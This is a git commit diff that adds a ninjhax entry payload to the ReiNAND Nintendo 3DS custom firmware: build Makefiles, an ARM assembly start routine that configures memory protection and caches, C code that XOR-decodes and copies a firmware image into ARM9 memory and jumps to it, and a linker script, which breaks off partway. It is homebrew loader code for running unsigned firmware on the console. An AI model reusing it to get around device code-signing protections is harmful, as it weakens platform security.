added ninjhax entry code
This commit is contained in:
parent
66c5551323
commit
a63a2c6767
6
.gitignore
vendored
6
.gitignore
vendored
@ -3,3 +3,9 @@ data/firmware.bin
|
|||||||
out
|
out
|
||||||
mset
|
mset
|
||||||
build
|
build
|
||||||
|
*.bin
|
||||||
|
*.3dsx
|
||||||
|
*.smdh
|
||||||
|
*.o
|
||||||
|
*.d
|
||||||
|
*.elf
|
23
Makefile
23
Makefile
@ -19,6 +19,7 @@ dir_mset := mset
|
|||||||
dir_out := out
|
dir_out := out
|
||||||
dir_emu := emunand
|
dir_emu := emunand
|
||||||
dir_thread := thread
|
dir_thread := thread
|
||||||
|
dir_ninjhax := ninjhax
|
||||||
|
|
||||||
ASFLAGS := -mlittle-endian -mcpu=arm946e-s -march=armv5te
|
ASFLAGS := -mlittle-endian -mcpu=arm946e-s -march=armv5te
|
||||||
CFLAGS := -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main
|
CFLAGS := -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main
|
||||||
@ -30,27 +31,43 @@ objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \
|
|||||||
|
|
||||||
|
|
||||||
.PHONY: all
|
.PHONY: all
|
||||||
all: launcher
|
all: launcher emunand thread ninjhax
|
||||||
|
|
||||||
.PHONY: launcher
|
.PHONY: launcher
|
||||||
launcher: $(dir_out)/ReiNand.dat
|
launcher: $(dir_out)/ReiNand.dat
|
||||||
|
|
||||||
|
.PHONY: emunand
|
||||||
|
emunand: $(dir_out)/rei/emunand/emunand.bin
|
||||||
|
|
||||||
|
.PHONY: thread
|
||||||
|
thread: $(dir_out)/rei/thread/arm9.bin
|
||||||
|
|
||||||
|
.PHONY: ninjhax
|
||||||
|
ninjhax: $(dir_out)/3ds/
|
||||||
|
|
||||||
.PHONY: clean
|
.PHONY: clean
|
||||||
clean:
|
clean:
|
||||||
@$(MAKE) $(FLAGS) -C $(dir_mset) clean
|
@$(MAKE) $(FLAGS) -C $(dir_mset) clean
|
||||||
|
@$(MAKE) $(FLAGS) -C $(dir_ninjhax) clean
|
||||||
rm -rf $(dir_out) $(dir_build)
|
rm -rf $(dir_out) $(dir_build)
|
||||||
|
|
||||||
.PHONY: $(dir_out)/ReiNand.dat
|
.PHONY: $(dir_out)/ReiNand.dat
|
||||||
$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/ $(dir_out)/rei/thread/arm9.bin $(dir_out)/rei/emunand/emunand.bin
|
$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/
|
||||||
@$(MAKE) $(FLAGS) -C $(dir_mset) launcher
|
@$(MAKE) $(FLAGS) -C $(dir_mset) launcher
|
||||||
dd if=$(dir_build)/main.bin of=$@ bs=512 seek=256
|
dd if=$(dir_build)/main.bin of=$@ bs=512 seek=256
|
||||||
|
|
||||||
|
$(dir_out)/3ds/:
|
||||||
|
@mkdir -p "$(dir_out)/3ds/ReiNand"
|
||||||
|
@$(MAKE) -C $(dir_ninjhax)
|
||||||
|
@cp -av $(dir_ninjhax)/ninjhax.3dsx $(dir_out)/3ds/ReiNand/ReiNand.3dsx
|
||||||
|
@cp -av $(dir_ninjhax)/ninjhax.smdh $(dir_out)/3ds/ReiNand/ReiNand.smdh
|
||||||
|
|
||||||
$(dir_out)/rei/: $(dir_data)/firmware.bin $(dir_data)/splash.bin
|
$(dir_out)/rei/: $(dir_data)/firmware.bin $(dir_data)/splash.bin
|
||||||
@mkdir -p "$(dir_out)/rei"
|
@mkdir -p "$(dir_out)/rei"
|
||||||
@cp -av $(dir_data)/*bin $@
|
@cp -av $(dir_data)/*bin $@
|
||||||
|
|
||||||
$(dir_out)/rei/thread/arm9.bin: $(dir_thread)
|
$(dir_out)/rei/thread/arm9.bin: $(dir_thread)
|
||||||
@$(MAKE) -C $(dir_thread)
|
@$(MAKE) $(FLAGS) -C $(dir_thread)
|
||||||
@mkdir -p "$(dir_out)/rei/thread"
|
@mkdir -p "$(dir_out)/rei/thread"
|
||||||
@mv $(dir_thread)/arm9.bin $(dir_out)/rei/thread
|
@mv $(dir_thread)/arm9.bin $(dir_out)/rei/thread
|
||||||
|
|
||||||
|
177
ninjhax/Makefile
Normal file
177
ninjhax/Makefile
Normal file
@ -0,0 +1,177 @@
|
|||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
.SUFFIXES:
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
ifeq ($(strip $(DEVKITARM)),)
|
||||||
|
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||||
|
endif
|
||||||
|
|
||||||
|
TOPDIR ?= $(CURDIR)
|
||||||
|
include $(DEVKITARM)/3ds_rules
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# TARGET is the name of the output
|
||||||
|
# BUILD is the directory where object files & intermediate files will be placed
|
||||||
|
# SOURCES is a list of directories containing source code
|
||||||
|
# DATA is a list of directories containing data files
|
||||||
|
# INCLUDES is a list of directories containing header files
|
||||||
|
#
|
||||||
|
# NO_SMDH: if set to anything, no SMDH file is generated.
|
||||||
|
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
|
||||||
|
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
|
||||||
|
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
|
||||||
|
# ICON is the filename of the icon (.png), relative to the project folder.
|
||||||
|
# If not set, it attempts to use one of the following (in this order):
|
||||||
|
# - <Project name>.png
|
||||||
|
# - icon.png
|
||||||
|
# - <libctru folder>/default_icon.png
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
TARGET := $(notdir $(CURDIR))
|
||||||
|
BUILD := build
|
||||||
|
SOURCES := source
|
||||||
|
DATA := data
|
||||||
|
INCLUDES := include
|
||||||
|
APP_TITLE := ReiNAND
|
||||||
|
APP_DESCRIPTION := N3DS CFW
|
||||||
|
APP_AUTHOR := Reisyukaku
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# options for code generation
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
|
||||||
|
|
||||||
|
CFLAGS := -g -Wall -O3 -mword-relocations \
|
||||||
|
-fomit-frame-pointer -ffast-math \
|
||||||
|
$(ARCH)
|
||||||
|
|
||||||
|
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -w
|
||||||
|
|
||||||
|
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 -w
|
||||||
|
|
||||||
|
ASFLAGS := -g $(ARCH)
|
||||||
|
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
|
||||||
|
|
||||||
|
LIBS := -lctru -lm
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# list of directories containing libraries, this must be the top level containing
|
||||||
|
# include and lib
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBDIRS := $(CTRULIB)
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# no real need to edit anything past this point unless you need to add additional
|
||||||
|
# rules for different file extensions
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||||
|
export TOPDIR := $(CURDIR)
|
||||||
|
|
||||||
|
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||||
|
|
||||||
|
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||||
|
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||||
|
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||||
|
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) payload.bin
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# use CXX for linking C++ projects, CC for standard C
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(CPPFILES)),)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CC)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CXX)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||||
|
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||||
|
|
||||||
|
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||||
|
-I$(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
||||||
|
|
||||||
|
ifeq ($(strip $(ICON)),)
|
||||||
|
icons := $(wildcard *.png)
|
||||||
|
ifneq (,$(findstring $(TARGET).png,$(icons)))
|
||||||
|
export APP_ICON := $(TOPDIR)/$(TARGET).png
|
||||||
|
else
|
||||||
|
ifneq (,$(findstring icon.png,$(icons)))
|
||||||
|
export APP_ICON := $(TOPDIR)/icon.png
|
||||||
|
endif
|
||||||
|
endif
|
||||||
|
else
|
||||||
|
export APP_ICON := $(TOPDIR)/$(ICON)
|
||||||
|
endif
|
||||||
|
|
||||||
|
.PHONY: $(BUILD) clean all
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
all: payload.bin $(BUILD)
|
||||||
|
|
||||||
|
$(BUILD):
|
||||||
|
@echo $(SFILES)
|
||||||
|
@[ -d $@ ] || mkdir -p $@
|
||||||
|
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||||
|
|
||||||
|
payload.bin :
|
||||||
|
@cd data/payload && make
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
clean:
|
||||||
|
@echo clean ...
|
||||||
|
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
|
||||||
|
@cd data/payload && make clean
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
|
||||||
|
DEPENDS := $(OFILES:.o=.d)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# main targets
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(NO_SMDH)),)
|
||||||
|
.PHONY: all
|
||||||
|
all : $(OUTPUT).3dsx $(OUTPUT).smdh
|
||||||
|
endif
|
||||||
|
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
|
||||||
|
$(OUTPUT).3dsx : $(OUTPUT).elf
|
||||||
|
$(OUTPUT).elf : $(OFILES)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# you need a rule like this for each extension you use as binary data
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.bin.o : %.bin
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(bin2o)
|
||||||
|
|
||||||
|
# WARNING: This is not the right way to do this! TODO: Do it right!
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.vsh.o : %.vsh
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
|
||||||
|
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
|
||||||
|
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
|
||||||
|
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
||||||
|
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
||||||
|
@rm ../$(notdir $<).shbin
|
||||||
|
|
||||||
|
-include $(DEPENDS)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------------
|
134
ninjhax/data/payload/Makefile
Normal file
134
ninjhax/data/payload/Makefile
Normal file
@ -0,0 +1,134 @@
|
|||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
.SUFFIXES:
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
ifeq ($(strip $(DEVKITARM)),)
|
||||||
|
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||||
|
endif
|
||||||
|
|
||||||
|
include $(DEVKITARM)/ds_rules
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# TARGET is the name of the output
|
||||||
|
# BUILD is the directory where object files & intermediate files will be placed
|
||||||
|
# SOURCES is a list of directories containing source code
|
||||||
|
# DATA is a list of directories containing data files
|
||||||
|
# INCLUDES is a list of directories containing header files
|
||||||
|
# SPECS is the directory containing the important build and link files
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export TARGET := $(shell basename $(CURDIR))
|
||||||
|
BUILD := build
|
||||||
|
SOURCES := source source/fatfs source/decryptor
|
||||||
|
DATA := data
|
||||||
|
INCLUDES := include source source/fatfs
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# Setup some defines
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# options for code generation
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ARCH := -mthumb -mthumb-interwork
|
||||||
|
|
||||||
|
CFLAGS := -g -Wall -O2\
|
||||||
|
-march=armv5te -mtune=arm946e-s -fomit-frame-pointer\
|
||||||
|
-ffast-math -std=c99 -mthumb\
|
||||||
|
$(ARCH)
|
||||||
|
|
||||||
|
CFLAGS += $(INCLUDE) -DARM9
|
||||||
|
|
||||||
|
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions
|
||||||
|
|
||||||
|
ASFLAGS := -g $(ARCH)
|
||||||
|
LDFLAGS = -nostartfiles -g --specs=../stub.specs $(ARCH) -Wl,-Map,$(TARGET).map
|
||||||
|
|
||||||
|
LIBS :=
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# list of directories containing libraries, this must be the top level containing
|
||||||
|
# include and lib
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBDIRS :=
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# no real need to edit anything past this point unless you need to add additional
|
||||||
|
# rules for different file extensions
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OUTPUT := $(CURDIR)
|
||||||
|
|
||||||
|
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||||
|
|
||||||
|
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||||
|
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||||
|
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||||
|
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# use CXX for linking C++ projects, CC for standard C
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(CPPFILES)),)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CC)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CXX)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||||
|
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||||
|
|
||||||
|
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||||
|
-I$(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
||||||
|
|
||||||
|
.PHONY: $(BUILD) clean all
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
all: $(BUILD)
|
||||||
|
|
||||||
|
$(BUILD):
|
||||||
|
@[ -d $@ ] || mkdir -p $@
|
||||||
|
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
clean:
|
||||||
|
@echo clean ...
|
||||||
|
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
|
||||||
|
DEPENDS := $(OFILES:.o=.d)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# main targets
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
$(OUTPUT).bin : $(OUTPUT).elf
|
||||||
|
$(OUTPUT).elf : $(OFILES)
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.bin: %.elf
|
||||||
|
@$(OBJCOPY) -O binary $< $@
|
||||||
|
@rm $<
|
||||||
|
@echo built ... $(notdir $@)
|
||||||
|
|
||||||
|
-include $(DEPENDS)
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------------
|
50
ninjhax/data/payload/source/main.c
Normal file
50
ninjhax/data/payload/source/main.c
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
void* (*reiNand)() = 0x08000030;
|
||||||
|
|
||||||
|
void main()
|
||||||
|
{
|
||||||
|
/*int fbfound = 0;
|
||||||
|
unsigned char* screen = 0x20000000;
|
||||||
|
for(int i = 0; i < 0x30; i++){
|
||||||
|
if( *((unsigned int*)(screen + i + 0)) == 0xABADF00D &&
|
||||||
|
*((unsigned int*)(screen + i + 4)) == 0xDEADBEEF ){
|
||||||
|
fbfound = 1;
|
||||||
|
screen += i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(!fbfound){
|
||||||
|
screen = 0x20046500;
|
||||||
|
for(int i = 0; i < 0x30; i++){
|
||||||
|
if( *((unsigned int*)(screen + i + 0)) == 0xABADF00D &&
|
||||||
|
*((unsigned int*)(screen + i + 4)) == 0xDEADBEEF ){
|
||||||
|
fbfound = 1;
|
||||||
|
screen += i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
*((unsigned int*)0x080FFFC0) = 0x20000000;
|
||||||
|
*((unsigned int*)0x080FFFC4) = 0x20046500;
|
||||||
|
*((unsigned int*)0x080FFFD8) = 0;
|
||||||
|
|
||||||
|
unsigned int* buf = 0x20400000;
|
||||||
|
unsigned int base = 0x67893421;
|
||||||
|
unsigned int seed = 0x12756342;
|
||||||
|
for(int i = 0; i < 400*1024/4; i++){
|
||||||
|
buf[i] ^= base;
|
||||||
|
base += seed;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned char*src = 0x20400000;
|
||||||
|
unsigned char*dst = 0x08000000;
|
||||||
|
for(int i = 0; i < 320*1024; i++){
|
||||||
|
dst[i] = src[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
*(unsigned int*)0x10000020 = 0;
|
||||||
|
*(unsigned int*)0x10000020 = 0x340;
|
||||||
|
reiNand();
|
||||||
|
}
|
75
ninjhax/data/payload/source/start.s
Normal file
75
ninjhax/data/payload/source/start.s
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
@---------------------------------------------------------------------------------
|
||||||
|
.section ".init"
|
||||||
|
@---------------------------------------------------------------------------------
|
||||||
|
.global _start
|
||||||
|
.extern main
|
||||||
|
.align 4
|
||||||
|
.arm
|
||||||
|
@---------------------------------------------------------------------------------
|
||||||
|
b _start
|
||||||
|
NOP
|
||||||
|
NOP
|
||||||
|
NOP
|
||||||
|
_start:
|
||||||
|
MSR CPSR_c, #0xDF
|
||||||
|
LDR R0, =0x2078
|
||||||
|
MCR p15, 0, R0,c1,c0, 0
|
||||||
|
LDR R0, =0xFFFF001D
|
||||||
|
LDR R1, =0x1FF801D
|
||||||
|
LDR R2, =0x8000027
|
||||||
|
LDR R3, =0x10000021
|
||||||
|
LDR R4, =0x10100025
|
||||||
|
LDR R5, =0x20000035
|
||||||
|
LDR R6, =0x2800801B
|
||||||
|
LDR R7, =0x1800002D
|
||||||
|
LDR R8, =0x33333336
|
||||||
|
LDR R9, =0x60600666
|
||||||
|
MOV R10, #0x25
|
||||||
|
MOV R11, #0x25
|
||||||
|
MOV R12, #0x25
|
||||||
|
MCR p15, 0, R0,c6,c0, 0
|
||||||
|
MCR p15, 0, R1,c6,c1, 0
|
||||||
|
MCR p15, 0, R2,c6,c2, 0
|
||||||
|
MCR p15, 0, R3,c6,c3, 0
|
||||||
|
MCR p15, 0, R4,c6,c4, 0
|
||||||
|
MCR p15, 0, R5,c6,c5, 0
|
||||||
|
MCR p15, 0, R6,c6,c6, 0
|
||||||
|
MCR p15, 0, R7,c6,c7, 0
|
||||||
|
MCR p15, 0, R8,c5,c0, 2
|
||||||
|
MCR p15, 0, R9,c5,c0, 3
|
||||||
|
MCR p15, 0, R10,c3,c0, 0
|
||||||
|
MCR p15, 0, R11,c2,c0, 0
|
||||||
|
MCR p15, 0, R12,c2,c0, 1
|
||||||
|
LDR R0, =0x2800800C
|
||||||
|
MCR p15, 0, R0,c9,c1, 0
|
||||||
|
MOV R0, #0x1E
|
||||||
|
MCR p15, 0, R0,c9,c1, 1
|
||||||
|
|
||||||
|
MOV R12, #0
|
||||||
|
loc_9D3D54:
|
||||||
|
MOV R0, #0
|
||||||
|
MOV R2, R12,LSL#30
|
||||||
|
loc_9D3D5C:
|
||||||
|
ORR R1, R2, R0,LSL#5
|
||||||
|
MCR p15, 0, R1,c7,c14, 2
|
||||||
|
ADD R0, R0, #1
|
||||||
|
CMP R0, #0x20
|
||||||
|
BCC loc_9D3D5C
|
||||||
|
ADD R12, R12, #1
|
||||||
|
CMP R12, #4
|
||||||
|
BCC loc_9D3D54
|
||||||
|
MOV R0, #0
|
||||||
|
MCR p15, 0, R0,c7,c10, 4
|
||||||
|
|
||||||
|
MOV R0, #0
|
||||||
|
MCR p15, 0, R0,c7,c5, 0
|
||||||
|
|
||||||
|
LDR R0, =0x5307D
|
||||||
|
MCR p15, 0, R0,c1,c0, 0
|
||||||
|
|
||||||
|
ldr r3, =main;
|
||||||
|
blx r3
|
||||||
|
|
||||||
|
InfiniteLoop:
|
||||||
|
b InfiniteLoop
|
||||||
|
.pool
|
164
ninjhax/data/payload/stub.ld
Normal file
164
ninjhax/data/payload/stub.ld
Normal file
@ -0,0 +1,164 @@
|
|||||||
|
OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm")
|
||||||
|
OUTPUT_ARCH(arm)
|
||||||
|
ENTRY(_start)
|
||||||
|
|
||||||
|
MEMORY
|
||||||
|
{
|
||||||
|
ram : ORIGIN = 0x23F00000, LENGTH = 128K
|
||||||
|
}
|
||||||
|
|
||||||
|
SECTIONS
|
||||||
|
{
|
||||||
|
.init :
|
||||||
|
{
|
||||||
|
__text_start = . ;
|
||||||
|
KEEP (*(.init))
|
||||||
|
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
|
||||||
|
} >ram = 0xff
|
||||||
|
.plt : { *(.plt) } >ram = 0xff
|
||||||
|
|
||||||
|
.text : /* ALIGN (4): */
|
||||||
|
{
|
||||||
|
*(.text .stub .text.* .gnu.linkonce.t.*)
|
||||||
|
KEEP (*(.text.*personality*))
|
||||||
|
/* .gnu.warning sections are handled specially by elf32.em. */
|
||||||
|
*(.gnu.warning)
|
||||||
|
*(.glue_7t) *(.glue_7) *(.vfp11_veneer)
|
||||||
|
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
|
||||||
|
} >ram = 0xff
|
||||||
|
|
||||||
|
.fini :
|
||||||
|
{
|
||||||
|
KEEP (*(.fini))
|
||||||
|
} >ram =0xff
|
||||||
|
|
||||||
|
__text_end = . ;
|
||||||
|
|
||||||
|
.rodata :
|
||||||
|
{
|
||||||
|
*(.rodata)
|
||||||
|
*all.rodata*(*)
|
||||||
|
*(.roda)
|
||||||
|
*(.rodata.*)
|
||||||
|
*(.gnu.linkonce.r*)
|
||||||
|
SORT(CONSTRUCTORS)
|
||||||
|
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
|
||||||
|
} >ram = 0xff
|
||||||
|
|
||||||
|
.ARM.extab : { *(.ARM.extab* .gnu.linkonce.armextab.*) } >ram
|
||||||
|
__exidx_start = .;
|
||||||
|
.ARM.exidx : { *(.ARM.exidx* .gnu.linkonce.armexidx.*) } >ram
|
||||||
|
__exidx_end = .;
|
||||||
|
|
||||||
|
/* Ensure the __preinit_array_start label is properly aligned. We
|
||||||
|
could instead move the label definition inside the section, but
|
||||||
|
the linker would then create the section even if it turns out to
|
||||||
|
be empty, which isn't pretty. */
|
||||||
|
. = ALIGN(32 / 8);
|
||||||
|
PROVIDE (__preinit_array_start = .);
|
||||||
|
.preinit_array : { KEEP (*(.preinit_array)) } >ram = 0xff
|
||||||
|
PROVIDE (__preinit_array_end = .);
|
||||||
|
PROVIDE (__init_array_start = .);
|
||||||
|
.init_array : { KEEP (*(.init_array)) } >ram = 0xff
|
||||||
|
PROVIDE (__init_array_end = .);
|
||||||
|
PROVIDE (__fini_array_start = .);
|
||||||
|
.fini_array : { KEEP (*(.fini_array)) } >ram = 0xff
|
||||||
|
PROVIDE (__fini_array_end = .);
|
||||||
|
|
||||||
|
.ctors :
|
||||||
|
{
|
||||||
|
/* gcc uses crtbegin.o to find the start of the constructors, so
|
||||||
|
we make sure it is first. Because this is a wildcard, it
|
||||||
|
doesn't matter if the user does not actually link against
|
||||||
|
crtbegin.o; the linker won't look for a file to match a
|
||||||
|
wildcard. The wildcard also means that it doesn't matter which
|
||||||
|
directory crtbegin.o is in. */
|
||||||
|
KEEP (*crtbegin.o(.ctors))
|
||||||
|
KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors))
|
||||||
|
KEEP (*(SORT(.ctors.*)))
|
||||||
|
KEEP (*(.ctors))
|
||||||
|
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
|
||||||
|
} >ram = 0xff
|
||||||
|
|
||||||
|
.dtors :
|
||||||
|
{
|
||||||
|
KEEP (*crtbegin.o(.dtors))
|
||||||
|
KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors))
|
||||||
|
KEEP (*(SORT(.dtors.*)))
|
||||||
|
KEEP (*(.dtors))
|
||||||
|
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
|
||||||
|
} >ram = 0xff
|
||||||
|
|
||||||
|
.eh_frame :
|
||||||
|
{
|
||||||
|
KEEP (*(.eh_frame))
|
||||||
|
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
|
||||||
|
} >ram = 0xff
|
||||||
|
|
||||||
|
.gcc_except_table :
|
||||||
|
{
|
||||||
|
*(.gcc_except_table)
|
||||||
|
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
|
||||||
|
} >ram = 0xff
|
||||||
|
.jcr : { KEEP (*(.jcr)) } >ram = 0
|
||||||
|
.got : { *(.got.plt) *(.got) } >ram = 0
|
||||||
|
|
||||||
|
.data ALIGN(4) : {
|
||||||
|
__data_start = ABSOLUTE(.);
|
||||||
|
*(.data)
|
||||||
|
*(.data.*)
|
||||||
|
*(.gnu.linkonce.d*)
|
||||||
|
CONSTRUCTORS
|
||||||
|
. = ALIGN(4);
|
||||||
|
__data_end = ABSOLUTE(.) ;
|
||||||
|
} >ram = 0xff
|
||||||
|
|
||||||
|
.bss ALIGN(4) :
|
||||||
|
{
|
||||||
|
__bss_start = ABSOLUTE(.);
|
||||||
|
__bss_start__ = ABSOLUTE(.);
|
||||||
|
*(.dynbss)
|
||||||
|
*(.gnu.linkonce.b*)
|
||||||
|
*(.bss*)
|
||||||
|
*(COMMON)
|
